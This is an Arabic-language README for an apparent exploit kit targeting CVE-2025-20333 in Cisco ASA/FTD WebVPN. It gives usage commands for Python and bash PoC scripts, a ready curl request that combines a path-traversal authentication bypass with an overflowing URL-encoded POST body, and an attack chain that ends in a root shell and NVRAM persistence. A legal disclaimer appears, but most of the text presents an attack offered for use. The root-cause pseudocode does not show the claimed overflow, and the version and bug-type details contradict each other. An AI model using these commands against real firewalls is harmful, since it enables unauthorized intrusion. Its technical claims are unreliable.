CVE-2025-20333 - مجموعة أدوات البحث والاستغلال الكاملة

نظرة عامة

يحتوي هذا الدليل على بحث شامل وتحليل وكود إثبات المفهوم لثغرة CVE-2025-20333، وهي ثغرة حرجة في تجاوز سعة المخزن المؤقت في خوادم Cisco ASA/FTD WebVPN.

الحالة: ⚠️ يتم استغلالها بنشاط في البرية (حملة ArcaneDoor)
درجة CVSS: 9.8 حرجة
مصادقة: غير مطلوبة (تم تجاوزها عبر CVE-2025-20362)
التأثير: تنفيذ كود عن بُعد بصلاحيات الجذر

---

المحتويات

📚 التوثيق

CVE-2025-20333-RESEARCH-NOTES.md (20 كيلوبايت)

بحث هندسة عكسية كامل

• سياق الثغرة وذكاء الويب
• تحليل الثنائي (عملية lina في ASA 9.12.4.x)
• تدقيق طبقة استيعاب الطلبات
• تحليل روابط Lua API
• 🎯 اكتشاف التجاوز (body_lexer.re2c، FUN_0302e690)
• تفصيل سلسلة الهجوم
• تحليل السبب الجذري مع أنماط الكود
• جدول مرجعي للأدوات والعناوين

النتيجة الرئيسية:

مخزن مؤقت ثابت بحجم 16 بايت (local_58[16]) في body_lexer.re2c
حلقة فك ترميز URL لا تحتوي على أي فحص للحدود
الكتابة إلى local_58[iVar11] دون التحقق من أن iVar11 < 16
بعد 8 أزواج سداسية عشرية: تجاوز ← تلف المكدس ← تنفيذ كود عن بُعد

EXPLOITATION-GUIDE.md (12 كيلوبايت)

دليل استغلال عملي

• شرح آليات الثغرة
• سلسلة الهجوم الكاملة (تجاوز CVE-2025-20362 + التجاوز)
• شرح خطوة بخطوة لعملية الاستغلال
• تقنيات صياغة الحمولة
• طرق الكشف المستندة إلى الشبكة
• الكشف المستند إلى المضيف وتحليل السجلات
• استراتيجيات التخفيف
• الإصدارات المصححة ومسار الترقية
• الاعتبارات القانونية والأخلاقية

---

🔧 أدوات إثبات المفهوم

cve-2025-20333-poc.py (15 كيلوبايت)

استغلال Python كامل الميزات

الميزات:

• توليد تلقائي للحمولة
• تكامل تجاوز المسار CVE-2025-20362
• بناء سلسلة أدوات ROP
• دعم SSL/TLS
• مهلة قابلة للتكوين
• تقارير تقدم مفصلة

الاستخدام:

# عرض تفاصيل الثغرة
python3 cve-2025-20333-poc.py --details

# استغلال الهدف
python3 cve-2025-20333-poc.py 192.168.1.100 443

# إعدادات مخصصة
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8.5 كيلوبايت)

استغلال bash خفيف الوزن

الميزات:

• لا يتطلب Python
• يستخدم curl أو netcat
• بصمة موارد ضئيلة
• تعليقات تعليمية
• مخرجات حالة واضحة

الاستخدام:

# عرض التفاصيل
./cve-2025-20333-poc.sh --details

# الاستغلال
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# يدوي مع curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

---

ملخص الثغرة

حقائق سريعة

الخاصية	القيمة
معرف CVE	CVE-2025-20333
النوع	تجاوز سعة المخزن المؤقت في المكدس (CWE-120)
المكوّن	body_lexer.re2c (FUN_0302e690)
الإصدارات المتأثرة	ASA 9.16–9.23، FTD 7.0–7.7
CVSS v3.1	9.8 (حرجة)
المصادقة	غير مطلوبة (عبر CVE-2025-20362)
تفاعل المستخدم	لا شيء
التأثير	تنفيذ كود عن بُعد بصلاحيات الجذر، اختراق كامل للنظام
الحالة	يتم استغلالها بنشاط (مايو 2025+)
الإفصاح المسؤول	قامت Cisco بالتصحيح؛ تم نشر الاستشارة

السبب الجذري

// body_lexer.re2c - حلقة فك ترميز URL
byte local_58[16];  // ← مخزن مؤقت ثابت بحجم 16 بايت

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← لا يوجد فحص للحدود!
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

مشغّل التجاوز: 9+ تسلسلات %XX متتالية في جسم POST

سلسلة الهجوم

1. المهاجم (لا يتطلب مصادقة)
   ↓
2. HTTP POST إلى /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362: تجاوز المسار يتجاوز فحص المصادقة
   └─ يصل إلى نقطة نهاية files_retr.lua (auth_flag = 0)
   ↓
3. جسم POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ أزواج مشفرة بعنوان URL)
   ↓
4. body_lexer.re2c يعالج جسم POST
   ├─ يراكم الأزواج السداسية العشرية في local_58[16]
   └─ بعد 8 أزواج: تجاوز!
   ↓
5. تلف المكدس
   ├─ يستبدل local_48، local_40
   ├─ يستبدل RBP المحفوظ
   └─ يستبدل RIP المحفوظ (عنوان الإرجاع)
   ↓
6. اختطاف تدفق التحكم
   ├─ يشير RIP إلى أدوات ROP
   ├─ سلسلة ROP تُعدّ execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. تنفيذ كود عن بُعد بصلاحيات الجذر (عملية lina تعمل كجذر)
   ├─ اختراق كامل لخادم VPN
   ├─ الوصول إلى كل حركة مرور VPN
   └─ استمرارية عبر تعديل NVRAM

---

عملية البحث

المرحلة 1: تحليل الثنائي ✅

• فتح ثنائي lina في Ghidra
• رسم بنية طلبات WebVPN (محلل HTTP، موجه URL، 13 خطاف نقطة نهاية)
• تدقيق طبقة استيعاب الطلبات (كلها آمنة عبر clString/تخصيصات بحجم دقيق)
• فحص روابط Lua API (كلها آمنة)

المرحلة 2: ذكاء الويب ✅

• البحث عن تفاصيل تقنية CVE-2025-20333
• العثور على تحليلات Rapid7 وZscaler وHorizon3 وTenable
• تأكيد سلسلة الهجوم تستخدم /+CSCOU+/../+CSCOE+/files/file_list.json
• تحديد السبب الجذري: تجاوز قائم على الكومة (مصادر الويب) / قائم على المكدس (هذا الثنائي) في نقطة نهاية Lua

المرحلة 3: هندسة عكسية مستهدفة ✅

• فك ترجمة body_lexer.re2c (FUN_0302e690)
• تم العثور على: مخزن مؤقت ثابت بحجم 16 بايت local_58[16] بدون فحص للحدود
• تأكيد مسار التجاوز: حلقة فك ترميز URL ← كتابة غير محدودة
• التحقق من قابلية الوصول: files_retr.lua ← body_lexer ← تجاوز المكدس

المرحلة 4: تطوير الاستغلال ✅

• إنشاء PoC بلغة Python مع دعم سلسلة ROP
• إنشاء PoC بلغة bash للبيئات البسيطة
• توثيق بنية الحمولة وتقنيات الصياغة
• تضمين إرشادات الكشف والتخفيف

---

تعليمات الاستخدام

لاختبار الاختراق المصرح به

1. التحقق من التصريح

   • الحصول على إذن كتابي للاختبار
   • تأكيد تفاصيل النظام المستهدف (IP، المنفذ، الإصدار)
   • توثيق النطاق والجدول الزمني

2. تشغيل الاستغلال

   # فحص سريع: هل يستجيب الهدف لمحاولة الاستغلال؟
   python3 cve-2025-20333-poc.py <target_ip>
   
   # أو إصدار bash:
   ./cve-2025-20333-poc.sh <target_ip>
   

3. التحقق من الاستغلال

   • التحقق من الوصول إلى الصدفة / اتصال الصدفة العكسية
   • فحص سجلات النظام بحثًا عن أعطال أو حالات شاذة
   • فحص الملفات المعدلة (NVRAM، باب خلفي مستمر)

4. توثيق النتائج

   • تسجيل إصدار الهدف ومستوى التصحيح
   • توثيق نجاح/فشل الاستغلال
   • ملاحظة أي إجراءات دفاعية تمت مواجهتها
   • تقديم تقرير للعميل مع توصيات المعالجة

للبحث الأمني

1. قراءة ملاحظات البحث

   • دراسة CVE-2025-20333-RESEARCH-NOTES.md
   • فهم بنية الثنائي وآلية التجاوز

2. دراسة أدوات PoC

   • مراجعة PoC بلغة Python لبناء أدوات ROP
   • مراجعة PoC بلغة bash للاستغلال البسيط
   • فهم ترميز الحمولة

3. التكيف والتوسيع

   • إضافة شيل كود مخصص
   • تنفيذ تقنيات استغلال مختلفة
   • الاختبار على الإصدارات المصححة مقابل الضعيفة

---

تحذيرات مهمة

⚠️ إشعار قانوني

تم توفير هذه المجموعة لأغراض الاختبار الأمني المصرح به فقط.

• لا تستخدم ضد أنظمة دون إذن كتابي صريح
• لا تستخدم لأغراض ضارة (سرقة البيانات، تعطيل الخدمات، برامج الفدية)
• الوصول غير المصرح به ينتهك قانون الاحتيال وإساءة استخدام الكمبيوتر (الولايات المتحدة) والقوانين المماثلة في جميع أنحاء العالم
• تشمل العقوبات الملاحقة الجنائية والغرامات والسجن

✅ الاستخدام المصرح به:

• اختبارات الاختراق بموافقة كتابية
• إثبات المفهوم أثناء البحث عن الثغرات
• اختبار الأمان الداخلي
• مسابقات CTF
• البحث الأكاديمي

❌ الاستخدام المحظور:

• مهاجمة الأنظمة دون إذن
• نشر برامج الفدية
• سرقة البيانات أو الابتزاز
• تعطيل الخدمات
• الحركة الجانبية في الشبكات المخترقة

---

قائمة الملفات

cve-2025-20333/
├── README.md                              (هذا الملف)
├── CVE-2025-20333-RESEARCH-NOTES.md      (20 كيلوبايت، بحث شامل)
├── EXPLOITATION-GUIDE.md                 (12 كيلوبايت، دليل عملي)
├── cve-2025-20333-poc.py                 (15 كيلوبايت، PoC بلغة Python)
└── cve-2025-20333-poc.sh                 (8.5 كيلوبايت، PoC بلغة bash)